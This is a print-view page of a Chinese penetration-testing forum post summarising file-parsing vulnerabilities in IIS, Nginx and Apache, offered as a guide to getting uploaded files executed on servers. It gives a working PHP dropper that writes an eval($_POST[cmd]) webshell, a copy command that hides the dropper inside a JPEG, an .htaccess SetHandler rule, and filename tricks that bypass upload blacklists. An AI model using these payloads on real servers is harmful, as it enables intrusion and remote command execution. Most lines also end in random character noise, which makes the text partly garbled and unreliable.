中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
0 |/ A2 @; b( |8 z" Y[+]IIS6.0
7 s8 I* E* f. R" x1 o' S2 O ; c: W$ J5 }- }
目录解析:/xx.asp/xx.jpg 5 Y# |" q1 }1 y" }8 G( L+ S3 v
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
, e' e: _7 h' C7 t; }* O1 z$ i- @" d% L; [ IIS6.0 会将 xx.jpg 解析为 asp 文件。
" H7 U. k0 m" C9 {6 n后缀解析:/xx.asp;.jpg     
% ?$ g+ R* u/ U! D7 g0 C* h, d. r IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
1 k  B5 g5 ~! `2 [默认解析:/xx.asa
+ ]9 h" I0 B. g# L: [3 d         /xx.cer/ e$ d1 f/ `, {# \7 l( I
         /xx.cdx
8 A5 ]& B& r! k7 @2 q  F IIS6.0 默认的可执行文件除了 asp 还包含这三种
( \9 g# f% j; g6 r+ a# ~ 此处可联系利用目录解析漏洞 " t) `" n. e' |( P6 i; d' r
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg- ?( f6 o4 S' w. ~1 [- A1 T, g/ Z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03( @! H2 [# b3 q; L  o, k

$ q0 u1 T  m- Q7 N8 r$ f IIS 7.0/IIS 7.5/Nginx <0.8.03$ l" x0 ?7 z& N( `
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
$ ^) k! Y; S( r: v+ q! V: a% c 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。; R% P. S/ U7 G8 C
常用利用方法:
  a! p4 {5 y& d* A9 N4 t$ ~ 将一张图和一个写入后门代码的文本文件合并将恶意文本
7 z0 b& B; i" S* u 写入图片的二进制代码之后,避免破坏图片文件头和尾' q  w& d' e" u6 t
如:
! \4 _, C3 `' w8 q& s copy xx.jpg /b + yy.txt/a xy.jpg  s6 ?( ~6 N- n# U( s! [3 X# C( t; ^; `
#########################################################" ?9 d8 W9 N6 @9 `$ N. O
/b 即二进制[binary]模式
# Z1 H. t+ \7 W) X /a 即ascii模式
; E, m* V! U8 N# N. ?/ W2 }& m0 Q xx.jpg 正常图片文件
% I2 N8 m; K1 {9 F7 J' ? yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
/ _) a9 b/ Z& n  r/ q1 G9 y4 H- i '<?php eval($_POST[cmd])?>');?>
( r, r9 U/ ?- b4 H  T/ j% W: Q9 k, I 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称0 X7 S7 L! Q0 |6 m
为shell.php的文件; H( k/ u0 O4 ~
###########################################################- U' g. ?; t% v5 g5 c: }2 n5 u
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
) |5 U4 W5 |7 L3 n8 H% W- u! X  L 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php " x2 U- S; k9 J
密码 cmd  u: \  i1 g) [% O* ]
[+]Nginx <0.8.03
0 }5 V5 g, _0 \ 6 M1 w+ ]) x( \; ]
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞% |- [% K( y+ r; k
在一个文件路径(/xx.jpg)后面加上%00.php' z0 N  h# I, ?2 F8 _. i8 ~( y
会将 /xx.jpg%00.php 解析为 php 文件。' a6 c6 p6 H) |2 r9 q- [  k
[+]Apache<0.8.03" L! K" S% {  d, `5 i5 i, ~

; V& e' r% i; B 后缀解析:test.php.x1.x2.x3
8 B4 q; Q$ H0 {* ], B Apache将从右至左开始判断后缀,若x3非可识别后缀,/ H7 n8 Q1 c/ l, d, ^
再判断x2,直到找到可识别后缀为止,然后将该可识别, L+ H5 }- Z9 Q  x8 X3 O) B. k
后缀进解析test.php.x1.x2.x3 则会被解析为php
5 z+ f4 ~6 R3 e8 Y( q 经验之谈:php|php3|phtml 多可被Apache解析。7 l' v8 q5 ^# f) `- W' _) y
[+]其他一些可利用的
0 j/ Z5 I; d, B9 ]! Z $ ^- e: C, Y2 h
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
! }: e* D& C1 L1 w若这样命名,windows会默认除去空格或点,这也是可以被利用的!
+ a1 ]4 f9 h" e5 ?! h在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格/ O9 L7 V' b0 ]6 {* ^, {
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
4 o( i6 E, M/ ]2 e% d2 ?: V4 U) f得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。" W! Y* y- t& [4 B4 x
{Linux主机中不行,Linux允许这类文件存在}" Q( c7 V# E, Q. ^9 B" [' q
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说3 P+ U" \0 s# J6 E9 y
的,当初我并不知道),且可以被上传,那可以尝试在
4 e0 ^3 Q* E, x6 O% M$ O+ R& V.htaccess中写入:: g$ Q7 g2 R" ^8 M* `
<FilesMatch “shell.jpg”>
4 g% Z0 e# I1 ~  E: t$ O, ySetHandler application/x-httpd-php / W4 z, a# ]1 f. a
</FilesMatch>+ y$ q9 w6 T6 N" r
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
9 I% K2 K/ q8 N4 P+ L+ u8 H[+]错误修改
- L* N* M# ^5 J0 L% |) V- Z6 }( G 2 S/ S" ]6 s- E% O
在 IIS 6.0 下可解析 /xx.asp:.jpg1 f6 b( H1 J7 H" U7 K7 V! z6 C* D  F. i6 Y
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
. c* N! f+ x; d4 R" v. C; A; a% b' w剩下/xx.asp}修改:
9 ^7 ]) P0 n0 [先谢谢核攻击的提醒
% I8 i: C5 S. q4 [; I' ~当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
$ ]" Z; Z2 F; a$ j6 h) `! _里是没有任何内容的,因为。。不好解释 大家自己看2 [) \- Q; Q. F) F9 G
http://lcx.cc/?i=2448( U; g8 X. K% S) u
http://baike.baidu.com/view/3619593.htm
$ ?( r( y) R4 W2 T2 I8 ~: _/ ]/ b





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2